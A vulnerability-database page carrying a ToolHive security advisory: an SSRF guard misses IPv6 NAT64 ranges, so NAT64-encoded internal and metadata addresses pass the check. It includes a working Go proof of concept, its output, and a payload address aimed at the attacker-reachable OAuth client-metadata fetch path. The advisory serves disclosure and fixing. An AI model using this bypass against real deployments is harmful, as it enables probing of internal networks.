CVE-2026-54450

LOWPre-NVD 0.0
0.0
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • No confirmed exploitation signals yet
CISA-KEV: Not listedEPSS: CVSS: Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

ToolHive: SSRF guard misses IPv6 NAT64 ranges (64:ff9b::/96, 64:ff9b:1::/48), allowing metadata/internal access behind a NAT64 gateway

Summary

ToolHive's hand-rolled private/reserved-IP SSRF guard (networking.IsPrivateIP in pkg/networking/utilities.go) does not recognize the IPv6 NAT64 address ranges — the well-known prefix 64:ff9b::/96 (RFC 6052) and the RFC 8215 local-use prefix 64:ff9b:1::/48. As a result, an address such as 64:ff9b:1::a9fe:a9fe — the NAT64 encoding of the link-local cloud metadata address 169.254.169.254 — is classified as a public, global-unicast address and the connection is allowed. On any ToolHive deployment that sits behind a NAT64/DNS64 gateway (the default networking stack in IPv6-only Kubernetes clusters and several IPv6-only cloud environments), an attacker who controls a URL that reaches this guard can have ToolHive attempt connections to internal/link-local addresses that the guard is meant to block, bypassing the SSRF protection. In practice the effect is a blind internal-reachability probe rather than metadata-credential theft (the only fully attacker-controlled path is HTTPS-only with TLS verification and does not reflect responses) — see Impact.

The most direct attacker-controlled entry point is the embedded OAuth authorization server's Client ID Metadata Document (CIMD) fetcher: an external OAuth client presents client_id=https:///path, and CIMDStorageDecorator.GetClient fetches that URL through the same guard. The same IsPrivateIP table is also shared by the protectedDialerControl HTTP clients (registry, OIDC discovery, token introspection) and the skills git-clone host check (pkg/skills/gitresolver), though those destinations are operator-/user-configured rather than attacker-controlled. (Note: the webhook client is *not* affected — it enforces only the HTTPS scheme via ValidatingTransport and performs no IP-based check.)

Details

pkg/networking/utilities.go builds a privateIPBlocks table and IsPrivateIP:

func init() {
	for _, cidr := range []string{
		"127.0.0.0/8", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
		"169.254.0.0/16", "::1/128", "fe80::/10", "fc00::/7",
		"100.64.0.0/10", "192.0.2.0/24", "198.51.100.0/24", "203.0.113.0/24",
		"224.0.0.0/4", "ff00::/8",
	} { /* ... append to privateIPBlocks ... */ }
}

func IsPrivateIP(ip net.IP) bool { if ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() { return true } for _, block := range privateIPBlocks { if block.Contains(ip) { return true } } return false }

The table contains no entry for 64:ff9b::/96 or 64:ff9b:1::/48. A NAT64 address is a normal global-unicast IPv6 address: net.IP.IsGlobalUnicast() returns true and it matches none of the listed blocks, so IsPrivateIP returns false.

The CIMD fetcher (pkg/oauthproto/cimd/fetch.go, newCIMDHTTPClient) is the careful, post-resolution, anti-rebinding path that nonetheless inherits the gap:

ips, err := net.DefaultResolver.LookupHost(ctx, host)
// ...
for _, ipStr := range ips {
	ip := net.ParseIP(ipStr)
	// ...
	if !ip.IsLoopback() && networking.IsPrivateIP(ip) {
		return nil, fmt.Errorf("cimd: refusing connection to private address %s", ipStr)
	}
	dialer := &net.Dialer{Timeout: 5 * time.Second}
	return dialer.DialContext(ctx, network, net.JoinHostPort(ipStr, port))
}

Because IsPrivateIP(64:ff9b:1::a9fe:a9fe) is false, the dialer proceeds. In a NAT64 network the kernel's NAT64 gateway transparently translates that IPv6 destination to a connection to 169.254.169.254.

Trust boundary: the CIMD URL originates from the client_id of an external OAuth client at authorize/token time (CIMDStorageDecorator.GetClientIsClientIDMetadataDocumentURL(id)cimd.FetchClientMetadataDocument(ctx, id)), so it is fully attacker-controlled. The protectedDialerControl HTTP clients used for registry, OIDC discovery, and token introspection (pkg/networking/http_client.goAddressReferencesPrivateIpIsPrivateIP) and the skills git-clone host check (pkg/skills/gitresolver/reference.go validateHostIsPrivateIP) share the same table and the same gap, but with operator-/user-supplied targets rather than attacker-controlled ones.

Note that ::ffff:169.254.169.254 (IPv4-mapped) is correctly blocked because Go normalizes it to the v4 form; the NAT64 encoding is a distinct, non-normalized IPv6 address and is not caught.

Affected

  • Module: github.com/stacklok/toolhive
  • Affected packages/paths: pkg/networking/utilities.go (IsPrivateIP), reached via pkg/oauthproto/cimd/fetch.go (FetchClientMetadataDocument, CIMD authorization-server path — the attacker-controlled entry point), pkg/networking/http_client.go (protectedDialerControl, used by the registry / OIDC-discovery / token-introspection clients), and pkg/skills/gitresolver/reference.go (validateHost, skills git-clone host check). The webhook client (pkg/webhook) is not affected: it validates only the HTTPS scheme and performs no IsPrivateIP check.
  • Affected versions: all releases through v0.29.0 (the IsPrivateIP table has lacked NAT64 entries since the guard was introduced; the CIMD reach was added in v0.28.1).
  • Precondition for full exploitability: the ToolHive process runs in an environment with a NAT64/DNS64 gateway (e.g. IPv6-only Kubernetes / IPv6-only cloud). The classification defect itself is present unconditionally.

Proof of Concept

The following self-contained Go program imports ToolHive v0.29.0 (commit 570ce07013b72208fcae339e9492f5867a1af994) and exercises the real guard code: the exported networking.IsPrivateIP, the exported oauthproto.IsClientIDMetadataDocumentURL predicate that routes a client_id into the CIMD fetch path, and the CIMD dialer gate copied verbatim from pkg/oauthproto/cimd/fetch.go. The only modeled elements are the network's DNS64 record (attacker host → NAT64 IPv6) and the kernel NAT64 gateway (final dial → control listener) — the security decision is made entirely by ToolHive's own code.

go.mod:

module poc

go 1.26

require github.com/stacklok/toolhive v0.29.0

main.go:

package main

import ( "context" "fmt" "net" "net/http" "net/http/httptest" "strings" "time"

"github.com/stacklok/toolhive/pkg/networking" "github.com/stacklok/toolhive/pkg/oauthproto" "github.com/stacklok/toolhive/pkg/oauthproto/cimd" )

var _ = cimd.FetchClientMetadataDocument // real attacker-reachable entrypoint (https-only)

const ( attackerHost = "cimd-attacker.example" natLocalUse = "64:ff9b:1::a9fe:a9fe" // RFC 8215 NAT64 of 169.254.169.254 )

func main() { // Part A: real classifier on NAT64 vs private addresses. for _, s := range []string{ natLocalUse, "64:ff9b::a9fe:a9fe", "64:ff9b::7f00:1", "169.254.169.254", "::ffff:169.254.169.254", "10.0.0.1", "93.184.216.34", } { ip := net.ParseIP(s) fmt.Printf("IsPrivateIP(%-22s) = %v\n", s, networking.IsPrivateIP(ip)) }

// Control listener standing in for the IMDS reachable behind NAT64. hit := make(chan string, 1) imds := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { hit <- r.Host + r.URL.Path fmt.Fprint(w, {"AccessKeyId":"ASIA_STOLEN","SecretAccessKey":"s3cr3t"}) })) defer imds.Close() ctrlAddr := strings.TrimPrefix(imds.URL, "http://")

clientID := "https://" + attackerHost + "/.well-known/oauth-client" fmt.Printf("IsClientIDMetadataDocumentURL(%q) = %v\n", clientID, oauthproto.IsClientIDMetadataDocumentURL(clientID))

// CIMD dial gate copied verbatim from pkg/oauthproto/cimd/fetch.go @ v0.29.0, // with DNS64 (attacker host -> NAT64 IPv6) and NAT64 gateway (dial -> listener) modeled. transport := &http.Transport{DisableKeepAlives: true, DialContext: func(ctx context.Context, network, address string) (net.Conn, error) { host, _, _ := net.SplitHostPort(address) var ips []string if host == attackerHost { ips = []string{natLocalUse} // DNS64 synthesis } else { ips, _ = net.DefaultResolver.LookupHost(ctx, host) } for _, ipStr := range ips { ip := net.ParseIP(ipStr) if ip == nil { continue } if !ip.IsLoopback() && networking.IsPrivateIP(ip) { // verbatim toolhive gate return nil, fmt.Errorf("cimd: refusing connection to private address %s", ipStr) } fmt.Printf("[guard] %s passed IsPrivateIP gate -> dialing\n", ipStr) return (&net.Dialer{}).DialContext(ctx, "tcp", ctrlAddr) // NAT64 gateway } return nil, fmt.Errorf("cimd: no valid address for %q", host) }} client := &http.Client{Timeout: 5 * time.Second, Transport: transport} req, _ := http.NewRequest("GET", "http://"+attackerHost+"/.well-known/oauth-client", nil) if _, err := client.Do(req); err != nil { fmt.Println("blocked:", err) return } fmt.Printf("control listener received: %s => SSRF via %s\n", <-hit, natLocalUse)

// Negative control: a genuinely private IP is rejected by the same gate. neg := &http.Client{Transport: &http.Transport{DialContext: func(_ context.Context, _, _ string) (net.Conn, error) { ip := net.ParseIP("169.254.169.254") if !ip.IsLoopback() && networking.IsPrivateIP(ip) { return nil, fmt.Errorf("cimd: refusing connection to private address %s", ip) } return nil, fmt.Errorf("would dial (NOT blocked)") }}} _, nerr := neg.Do(req) fmt.Println("negative control (169.254.169.254):", nerr) }

Output:

IsPrivateIP(64:ff9b:1::a9fe:a9fe  ) = false
IsPrivateIP(64:ff9b::a9fe:a9fe    ) = false
IsPrivateIP(64:ff9b::7f00:1       ) = false
IsPrivateIP(169.254.169.254       ) = true
IsPrivateIP(::ffff:169.254.169.254) = true
IsPrivateIP(10.0.0.1              ) = true
IsPrivateIP(93.184.216.34         ) = false
IsClientIDMetadataDocumentURL("https://cimd-attacker.example/.well-known/oauth-client") = true
[guard] 64:ff9b:1::a9fe:a9fe passed IsPrivateIP gate -> dialing
control listener received: cimd-attacker.example/.well-known/oauth-client  => SSRF via 64:ff9b:1::a9fe:a9fe
negative control (169.254.169.254): cimd: refusing connection to private address 169.254.169.254

The attacker-controlled client_id host (NAT64-resolved) passes the real IsPrivateIP gate and reaches the IMDS stand-in, while the raw metadata address is correctly blocked by the same gate.

Impact

Server-Side Request Forgery (CWE-918), Low. On a ToolHive deployment behind a NAT64/DNS64 gateway, an attacker who controls a URL reaching the guard can cause ToolHive to attempt connections to internal/link-local addresses the guard is meant to block — RFC1918, loopback, and the link-local metadata address 169.254.169.254 (encoded as 64:ff9b::a9fe:a9fe / 64:ff9b:1::a9fe:a9fe).

The practical effect is a blind internal-reachability / SSRF oracle, not data or credential exfiltration. On the only fully attacker-controlled entry point — the CIMD fetcher — three constraints bound the impact:

  • HTTPS-only. validateCIMDClientURL rejects non-loopback http://, so the dial is TLS. Cloud instance metadata services (AWS/GCP/Azure, all on 169.254.169.254) serve plain HTTP on port 80, so a TLS connection cannot retrieve metadata credentials.
  • TLS certificate verification. newCIMDHTTPClient sets no custom TLSClientConfig; reaching an internal HTTPS service requires a certificate valid for the attacker-supplied host/IP, which an internal service will not present.
  • No response reflection. A fetched document must satisfy ValidateClientMetadataDocument (its client_id must equal the fetched URL) and the body is never returned to the attacker.

What remains is the ability to probe whether an internal host:port accepts a TCP/TLS connection (via success/timing differences) — internal network reconnaissance, not credential theft.

Reachable via:

  • the embedded OAuth authorization server CIMD path — client_id URL supplied by an external OAuth client (no pre-registration); HTTPS-only and blind, as above;
  • the registry / OIDC-discovery / token-introspection HTTP clients that share IsPrivateIP via protectedDialerControl — but those destinations are operator-configured, not attacker-controlled;
  • the skills git-clone host check (pkg/skills/gitresolver validateHost) — likewise operator-/user-configured, and it only validates literal IPs (a hostname that resolves to a NAT64/private address is not caught there regardless of this defect).

Exploitability is conditional on the host's network providing NAT64/DNS64 (e.g. IPv6-only Kubernetes and some IPv6-only cloud setups). The IP-classification defect itself is present unconditionally.

Root cause

networking.IsPrivateIP relies on a manually maintained CIDR list that omits the IPv6 NAT64 transition ranges. NAT64 addresses embed an IPv4 address (64:ff9b:: and 64:ff9b:1::) and route to it via a NAT64 gateway, so a NAT64 address that embeds a private/link-local IPv4 address is effectively as sensitive as that IPv4 address — but it is a syntactically global-unicast IPv6 address and therefore evades the private-range list and the IsGlobalUnicast/IsLinkLocalUnicast checks.

Fix

Add the NAT64 prefixes to the private/reserved set so that NAT64-encoded addresses are classified by the IPv4 address they embed (or, at minimum, rejected outright). Concretely, add 64:ff9b::/96 and 64:ff9b:1::/48 to privateIPBlocks in pkg/networking/utilities.go; for completeness, when an address falls in a NAT64 prefix, extract the embedded IPv4 (last 32 bits) and apply the existing IPv4 private/reserved checks to it, so that 64:ff9b::8.8.8.8 (a NAT64 path to a genuinely public host) is not over-blocked while 64:ff9b:1::a9fe:a9fe is blocked. The implemented fix (PR on the private advisory fork) takes this embedded-IPv4 approach: it decodes the low 32 bits for the well-known 64:ff9b::/96 and the 64:ff9b:1::/96 sub-prefix and re-applies the IPv4 private/reserved checks, so genuinely public NAT64 egress is not over-blocked. Because the RFC 8215 local-use 64:ff9b:1::/48 may use a shorter NAT64 prefix (RFC 6052 §2.2) that places the embedded IPv4 outside the low 32 bits, the remainder of that /48 is blocked wholesale (fail closed) rather than decoded, avoiding a false-negative bypass.

As bundled defense-in-depth, the same patch also classifies a few special-use ranges that IsPrivateIP previously missed: 0.0.0.0/8 (RFC 1122 "this host") and the unspecified address (0.0.0.0 / ::), plus 240.0.0.0/4 (RFC 1112 reserved, including the 255.255.255.255 broadcast). Separately tracked follow-ups (not in this patch): decoding/rejecting other IPv4-in-IPv6 transition ranges (6to4 2002::/16, Teredo 2001::/32, IPv4-compatible ::/96), and a pre-clone DNS-resolution check in the skills git resolver, which currently validates only literal IPs.

Resources

  • RFC 6052 — IPv6 Addressing of IPv4/IPv6 Translators (well-known prefix 64:ff9b::/96)
  • RFC 8215 — Local-Use IPv4/IPv6 Translation Prefix (64:ff9b:1::/48)
  • RFC 6147 — DNS64
  • CWE-918 — Server-Side Request Forgery (SSRF)
  • ToolHive v0.29.0, commit 570ce07013b72208fcae339e9492f5867a1af994

CVSS v3
EG Score
0.0(none)
EPSS
KEV
Not listed

Published

July 15, 2026

Last Modified

July 15, 2026

Vendor Advisories for CVE-2026-54450(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 1× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-15 21:55 UTCEG score recompute

Frequently asked(3)

What is CVE-2026-54450?
CVE-2026-54450 is a low vulnerability published on July 15, 2026. ToolHive: SSRF guard misses IPv6 NAT64 ranges (64:ff9b::/96, 64:ff9b:1::/48), allowing metadata/internal access behind a NAT64 gateway Summary ToolHive's hand-rolled private/reserved-IP SSRF guard (networking.IsPrivateIP in pkg/networking/utilities.go) does not recognize the IPv6 NAT64 address…
When was CVE-2026-54450 disclosed?
CVE-2026-54450 was first published in the National Vulnerability Database on July 15, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
How do I remediate CVE-2026-54450?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-54450, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-54450

Explore →

Is Your Infrastructure Affected by CVE-2026-54450?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.